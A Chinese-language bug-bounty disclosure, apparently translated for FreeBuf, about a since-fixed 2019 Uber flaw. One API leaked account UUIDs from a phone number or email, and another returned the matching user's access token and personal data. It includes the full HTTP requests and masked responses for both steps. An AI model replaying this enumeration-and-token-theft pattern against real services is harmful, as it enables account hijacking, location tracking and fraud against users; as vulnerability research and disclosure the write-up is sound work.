*本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担。

本文涉及的漏洞为Uber的任意账户劫持漏洞,漏洞影响Uber的司机、打车乘客(Rider)、第三方合作伙伴以及餐饮外送(Eats)注册账户,攻击者可通过一个Uber API接口获得用户注册账户的UUID,然后利用UUID通过另一Uber API接口发起请求,从其响应中获得与UUID对应账户的访问控制令牌(token)信息,从而实现账户劫持。漏洞最终获得Uber官方奖励的$6500美金。

漏洞概况及影响

问题首先出在Uber的一个API接口中,如果在其POST请求中提供用户注册预留的手机号码或电邮地址,Uber后端服务即能响应返回相应用户账户的UUID号;之后,在另一Uber API接口中,通过利用获取的用户UUID号可进一步获取相应用户对Uber移动应用APP的访问控制令牌(Access Token),有了该访问控制令牌(token),可以对受害者发起账户劫持、位置跟踪、钱款交易和下载乘车路线等操作,严重危及受害者账户安全。

漏洞复现

步骤1 从API中获取任意Uber注册用户的UUID号

在Uber的以下API接口POST请求中,如果提供用户(第三方合作伙伴、乘客、餐饮外送注册账户)的注册预留手机号码或电子邮箱地址,请求执行后,在响应消息中我们将会获得用户的UUID号信息。如以下通过用户注册预留手机号码获取用户的UUID:

请求:

 
	

POST /p3/fleet-manager/\_rpc?rpc=addDriverV2 HTTP/1.1

Host: partners.uber.com

{“nationalPhoneNumber”:”99999xxxxx”,”countryCode”:”1"}

响应:

 
	

{

    “status”:”failure”,

    ”data”: {

        “code”:1009,

        ”message”:”Driver ‘47d063f8–0xx5e-xxxxx-b01a-xxxxnot found”

        }

}

如果在请求中提供用户的注册预留手机号99999xxxxx,则响应消息中将返回用户的UUID号:‘47d063f8–0xx5e-4eb4-xxx-xxxxxxx’。

以下通过用户注册预留的邮箱地址获取用户的UUID:

请求:

 
	

POST /p3/fleet-manager/\_rpc?rpc=addDriverV2 HTTP/1.1

Host: partners.uber.com

{“email”:”xxx@gmail.com”}

响应:

 
	

{

    “status”:”failure”,

    ”data”: {

        “code”:1009,

        ”message”:”Driver ‘ca111b95–11114396-b907–83abxxx5f7371enot found”

    }

}

用户注册预留电邮地址address xxx@gmail.com,同样Uber后端响应返回用户UUID号:‘Ca111b95–1111–4396-b907–83abxxx5f7371e’ 。

步骤 2 从另一API中获取UUID对应的访问控制令牌(token)

获取到上述任意用户UUID号之后,在另一Uber API接口中,通过利用获取的用户UUID号可进一步获取相应用户对Uber移动应用APP的访问控制令牌(Access Token)、地理位置、家庭地址等敏感信息。有了访问控制令牌(Access Token)后,也就能完全劫持任意Uber账户了,从受害者账户中可以看到他的乘车路线、打车请求、付款信息等等。以下为我的测试账号证明。

通过另一Uber API获得访问控制令牌(Access Token)等信息:

请求:

 
	

POST /marketplace/\_rpc?rpc=getConsentScreenDetails HTTP/1.1

Host: bonjour.uber.com

Connection: close

Content-Length: 67

Accept: application/json

Origin: [https://bonjour.uber.com](https://bonjour.uber.com)

x-csrf-token: xxxx

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.103 Safari/537.36

DNT: 1

Content-Type: application/json

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9

Cookie: xxxxx

{“language”:”en”,”userUuid”:”xxxx–776–4xxxx1bd-861a-837xxx604ce”}

上述请求包含的UUID为:xxxx–776–4xxxx1bd-861a-837xxx604ce,以该身份执行请求后,Uber后端的响应如下:

 
	

{

   “status”:”success”,

   ”data”:{

      “data”:{

         “language”:”en”,

         ”userUuid”:”xxxxxx1e”

      },

      ”getUser”:{

         “uuid”:”cxxxxxc5f7371e”,

         ”firstname”:”Maxxxx”,

         ”lastname”:”XXXX”,

         ”role”:”PARTNER”,

         ”languageId”:1,

         ”countryId”:77,

         ”mobile”:null,

         ”mobileToken”:1234,

         ”mobileCountryId”:77,

         ”mobileCountryCode”:”+91",

         ”hasAmbiguousMobileCountry”:false,

         ”lastConfirmedMobileCountryId”:77,

         ”email”:”xxxx@gmail.com”,

         ”emailToken”:”xxxxxxxx”,

         ”hasConfirmedMobile”:”no”,

         ”hasOptedInSmsMarketing”:false,

         ”hasConfirmedEmail”:true,

         ”gratuity”:0.3,

         ”nickname”:”abc@gmail.com”,

         ”location”:”00000",

         ”banned”:false,

         ”cardio”:false,

         ”token”:”b8038ec4143bb4xxxxxx72d”,

         ”fraudScore”:0,

         ”inviterUuid”:null,

         ”pictureUrl”:”xxxxx.jpeg”,

         ”recentFareSplitterUuids”:[

            “xxx”

         ],

         ”lastSelectedPaymentProfileUuid”:”xxxxxx”,

         ”lastSelectedPaymentProfileGoogleWalletUuid”:null,

         ”inviteCode”:{

            “promotionCodeId”:xxxxx,

            ”promotionCodeUuid”:”xxxx”,

            ”promotionCode”:”manishas105",

            ”createdAt”:{

               “type”:”Buffer”,

               ”data”:[0,0,1,76,2,21,215,101]

            },

            ”updatedAt”:{

               “type”:”Buffer”,

               ”data”:[0,0,1,76,65,211,61,9]

            }

         },

         ”driverInfo”:{

            “contactinfo”:”999999999xx”,

            ”contactinfoCountryCode”:”+91",

            ”driverLicense”:”None”,

            ”firstDriverTripUuid”:null,

            ”iphone”:null,

            ”partnerUserUuid”:”xxxxxxx”,

            ”receiveSms”:true,

            ”twilioNumber”:null,

            ”twilioNumberFormatted”:null,

            ”cityknowledgeScore”:0,

            ”createdAt”:{

               “type”:”Buffer”,

               ”data”:[0,0,1,84,21,124,80,52]

            },

            ”updatedAt”:{

               “type”:”Buffer”,

               ”data”:[0,0,1,86,152,77,41,77]

            },

            ”deletedAt”:null,

            ”driverStatus”:”APPLIED”,

            ”driverFlowType”:”UBERX”,

            ”statusLocks”:null,

            ”contactinfoCountryIso2Code”:”KR”,

            ”driverEngagement”:null,

            ”courierEngagement”:null

         },

         ”partnerInfo”:{

            “address”:”Nxxxxxxx”,

            ”territoryUuid”:”xxxxxx”,

            ”company”:”None”,

            ”address2":”None”,

            ”cityId”:130,

            ”cityName”:”None”,

            ”firstPartnerTripUuid”:null,

            ”preferredCollectionPaymentProfileUuid”:null,

            ”phone”:””,

            ”phoneCountryCode”:”+91",

            ”state”:”None”,

            ”vatNumber”:”None”,

            ”zipcode”:”None”,

            ”createdAt”:{

               “type”:”Buffer”,

               ”data”:[0,0,1,84,21,124,80,52]

            },

            ”updatedAt”:{

               “type”:”Buffer”,

               ”data”:[0,0,1,101,38,177,88,137

               ]

            },

            ”deletedAt”:null,

            ”fleetTypes”:[

            ],

            ”fleetServices”:[

            ],

            ”isFleet”:true

         },

         ”analytics”:{

            “signupLat”:133.28741199,

            ”signupLng”:11177.1111,

            ”signupTerritoryUuid”:”xxxxx”,

            ”signupPromoId”:null,

            ”signupForm”:”iphone”,

            ”signupSessionId”:”xxxxxxx”,

            ”signupAppVersion”:2.64.1",

            ”signupAttributionMethod”:null,

            ”createdAt”:{

               “type”:”Buffer”,

               ”data”:[0,0,1,76,2,21,219,1]

            },

            ”updatedAt”:{

               “type”:”Buffer”,

               ”data”:[0,0,1,76,2,21,219,1

               ]

            },

            ”signupCityId”:130,

            ”signupDeviceId”:null,

            ”signupReferralId”:null,

            ”signupPromoCode”:null,

            ”signupPromoCodeUuid”:null,

            ”signupPromoUuid”:null,

            ”signupMethod”:”REGULAR”

         },

         ”createdAt”:{

            “type”:”Buffer”,

            ”data”:[0,0,1,76,2,21,215,153]

         },

         ”updatedAt”:{

            “type”:”Buffer”,

            ”data”:[0,0,1,102,81,35,153,135]

         },

         ”deletedAt”:null,

         ”tenancy”:”uber/production”,

         ”mobileConfirmationStatus”:”MOBILE_NOT_CONFIRMED”,

         ”nationalId”:null,

         ”nationalIdType”:null,

         ”merchantLocation”:null,

         ”lastConfirmedMobile”:”xxxxxxxxxx”,

         ”requestedDeletionAt”:null,

         ”dateOfBirth”:xxxxxx,

         ”userTypes”:null,

         ”preferredName”:”xxxxxxxx”,

         ”freightInfo”:null,

         ”tempPictureUrl”:null,

         ”identityVerified”:null,

         ”paymentEntityType”:null,

         ”riderEngagement”:null,

         ”identityRejectReasonUuid”:null,

         ”genderInferred”:null,

         ”genderIdentity”:null,

         ”genderDocumented”:null,

         ”riderIneligibleWdw”:null,

         ”defaultPaymentProfileByProduct”:null,

         ”loginEligibility”:null

      },

      ”getDisclosureVersionUuid”:””,

      ”getLocaleCopy”:null

   }

}

可见,响应消息中返回与UUID对应账户的所有敏感信息,其中包括了用户对Uber移动应用APP的访问控制令牌信息,通过对该令牌信息的利用,即可实现对任意Uber账户的劫持。漏洞上报后,Uber方面及时通过对当前请求执行授权限制,并删除了响应消息中的敏感信息,以此修复了该漏洞。

漏洞上报及处理进程

2019.4.19    漏洞初报

2019.4.25   漏洞分类

2019.4.26   漏洞修复 获得Uber官方奖励的 $6500

2019.6.28   我申请披露漏洞

2019.9.9     Uber披露漏洞

*参考来源:appsecure,clouds编译整理,转载请注明来自FreeBuf